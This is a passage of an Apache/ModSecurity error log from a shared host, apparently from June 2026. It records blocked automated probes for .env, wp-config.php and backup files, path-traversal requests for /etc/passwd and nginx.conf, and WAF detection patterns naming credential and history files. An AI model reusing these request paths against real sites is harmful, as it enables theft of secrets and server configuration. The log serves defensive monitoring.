"/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/magento/app/etc/env.php"] [unique_id "ai3yAsTA7b1mZrmcA-86YwACGXc"] [Sat Jun 13 18:12:50.923198 2026] [access_compat:error] [pid 531155:tid 531281] [remote 57.141.14.39:53872] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:50.923484 2026] [access_compat:error] [pid 531155:tid 531281] [remote 57.141.14.39:53872] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:50.970893 2026] [security2:error] [pid 531797:tid 532051] [client 192.185.4.166:59462] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id "900406"] [msg "wp-login POST logging"] [data "200"] [hostname "bayveritas.com"] [uri "/wp-login.php"] [unique_id "ai3yAsTA7b1mZrmcA-86YQACSQg"], referer: https://bayveritas.com/wp-login.php [Sat Jun 13 18:12:51.079435 2026] [security2:error] [pid 531797:tid 531913] [remote 17.241.75.94:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 94.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yA8TA7b1mZrmcA-86ZgACJjE"] [Sat Jun 13 18:12:51.128862 2026] [access_compat:error] [pid 531797:tid 531941] [remote 57.141.14.13:20177] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:51.129311 2026] [access_compat:error] [pid 531797:tid 531941] [remote 57.141.14.13:20177] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:51.196368 2026] [access_compat:error] [pid 531155:tid 531181] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2UvaW5wdXQvaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:12:51.196668 2026] [access_compat:error] [pid 531155:tid 531181] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2UvaW5wdXQvaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:12:51.601077 2026] [access_compat:error] [pid 531797:tid 531938] [remote 57.141.14.74:61278] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:51.601387 2026] [access_compat:error] [pid 531797:tid 531938] [remote 57.141.14.74:61278] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:51.636343 2026] [security2:error] [pid 531797:tid 532032] [client 103.146.202.144:39048] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.dzv.hsu.mybluehost.me"] [uri "/core/.env"] [unique_id "ai3yA8TA7b1mZrmcA-86dwAAAjc"] [Sat Jun 13 18:12:51.700780 2026] [security2:error] [pid 531797:tid 531977] [remote 17.246.23.194:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 194.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yA8TA7b1mZrmcA-86eQACUXA"] [Sat Jun 13 18:12:51.763794 2026] [access_compat:error] [pid 531155:tid 531172] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:12:51.764270 2026] [access_compat:error] [pid 531155:tid 531172] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:12:51.863910 2026] [security2:error] [pid 531797:tid 532009] [client 103.146.202.144:39048] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.dzv.hsu.mybluehost.me"] [uri "/api/.env"] [unique_id "ai3yA8TA7b1mZrmcA-86fgAAAiE"] [Sat Jun 13 18:12:51.869800 2026] [security2:error] [pid 531797:tid 531972] [remote 57.141.14.96:30775] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 96.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3yA8TA7b1mZrmcA-86fwACJ2s"], referer: https://nelsonfarmstn.com/shop/page/2/?add_to_wishlist=3090&_wpnonce=f39a28e9f6&add-to-cart=3090 [Sat Jun 13 18:12:52.014605 2026] [security2:error] [pid 531797:tid 532099] [client 103.153.183.69:45904] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/img../wp-config.php"] [unique_id "ai3yBMTA7b1mZrmcA-86hAAAAng"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:52.014835 2026] [security2:error] [pid 531797:tid 532037] [client 103.153.183.69:45902] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/storage/.env"] [unique_id "ai3yBMTA7b1mZrmcA-86gwAAAjw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:52.040355 2026] [security2:error] [pid 531797:tid 532063] [client 103.153.183.69:45902] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/img../config.php"] [unique_id "ai3yBMTA7b1mZrmcA-86hQAAAlU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:52.089444 2026] [security2:error] [pid 531797:tid 532096] [client 103.146.202.144:39048] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.dzv.hsu.mybluehost.me"] [uri "/backend/.env"] [unique_id "ai3yBMTA7b1mZrmcA-86iAAAAnU"] [Sat Jun 13 18:12:52.092076 2026] [security2:error] [pid 531797:tid 532019] [client 103.153.183.69:45912] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/img../index.php"] [unique_id "ai3yBMTA7b1mZrmcA-86iQAAAis"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:52.118380 2026] [security2:error] [pid 531797:tid 532023] [client 103.153.183.69:45934] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/img../settings.py"] [unique_id "ai3yBMTA7b1mZrmcA-86iwAAAi8"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:52.199957 2026] [security2:error] [pid 531797:tid 532086] [client 103.153.183.69:45922] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/.env.local"] [unique_id "ai3yBMTA7b1mZrmcA-86jwAAAmw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:52.262747 2026] [access_compat:error] [pid 531155:tid 531156] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:12:52.263194 2026] [access_compat:error] [pid 531155:tid 531156] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:12:52.292021 2026] [access_compat:error] [pid 531797:tid 531866] [remote 57.141.14.31:35186] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:52.292296 2026] [access_compat:error] [pid 531797:tid 531866] [remote 57.141.14.31:35186] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:52.303288 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.6:41090] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:52.303645 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.6:41090] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:52.335328 2026] [security2:error] [pid 531797:tid 532005] [client 103.153.183.69:45956] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.backup"] [unique_id "ai3yBMTA7b1mZrmcA-86mAAAAh0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:52.348871 2026] [security2:error] [pid 531797:tid 532097] [client 103.146.202.144:39048] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.dzv.hsu.mybluehost.me"] [uri "/laravel/.env"] [unique_id "ai3yBMTA7b1mZrmcA-86mQAAAnY"] [Sat Jun 13 18:12:52.362315 2026] [security2:error] [pid 531797:tid 532072] [client 103.153.183.69:45956] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.backup"] [unique_id "ai3yBMTA7b1mZrmcA-86mwAAAl4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:52.390090 2026] [security2:error] [pid 531797:tid 532095] [client 103.153.183.69:45956] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/.env.backup"] [unique_id "ai3yBMTA7b1mZrmcA-86nAAAAnQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:52.502389 2026] [access_compat:error] [pid 531797:tid 531930] [remote 216.73.216.182:19117] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:52.502702 2026] [access_compat:error] [pid 531797:tid 531930] [remote 216.73.216.182:19117] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:52.577676 2026] [security2:error] [pid 531797:tid 532034] [client 103.146.202.144:39048] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.dzv.hsu.mybluehost.me"] [uri "/app/.env"] [unique_id "ai3yBMTA7b1mZrmcA-86pwAAAjk"] [Sat Jun 13 18:12:52.587397 2026] [security2:error] [pid 531797:tid 532125] [client 103.153.183.69:45966] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/js../etc/passwd"] [unique_id "ai3yBMTA7b1mZrmcA-86qQAAApA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:52.615240 2026] [security2:error] [pid 531797:tid 532085] [client 103.153.183.69:45966] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/js../etc/nginx/nginx.conf"] [unique_id "ai3yBMTA7b1mZrmcA-86rAAAAms"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:52.644303 2026] [security2:error] [pid 531797:tid 532116] [client 103.153.183.69:45966] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/js../.env"] [unique_id "ai3yBMTA7b1mZrmcA-86rgAAAok"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:52.707636 2026] [security2:error] [pid 531797:tid 532064] [client 103.153.183.69:45980] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/js../wp-config.php"] [unique_id "ai3yBMTA7b1mZrmcA-86sQAAAlY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:52.722429 2026] [security2:error] [pid 531797:tid 532013] [client 103.153.183.69:45940] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.old"] [unique_id "ai3yBMTA7b1mZrmcA-86sgAAAiU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:52.748258 2026] [security2:error] [pid 531797:tid 532050] [client 103.153.183.69:45940] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/js../config.php"] [unique_id "ai3yBMTA7b1mZrmcA-86tAAAAkg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:52.786379 2026] [security2:error] [pid 531797:tid 532041] [client 103.153.183.69:45984] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.old"] [unique_id "ai3yBMTA7b1mZrmcA-86tgAAAkA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:52.795587 2026] [access_compat:error] [pid 531155:tid 531159] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:12:52.795896 2026] [access_compat:error] [pid 531155:tid 531159] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:12:52.800042 2026] [security2:error] [pid 531155:tid 531384] [client 103.153.183.69:45986] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/js../index.php"] [unique_id "ai3yBCmiP80klyS0NnoHQQAAAW0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:52.814222 2026] [security2:error] [pid 531797:tid 532029] [client 103.153.183.69:45984] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.old"] [unique_id "ai3yBMTA7b1mZrmcA-86twAAAjQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:52.814462 2026] [access_compat:error] [pid 531155:tid 531256] [remote 57.141.14.49:27547] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:52.814721 2026] [access_compat:error] [pid 531155:tid 531256] [remote 57.141.14.49:27547] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 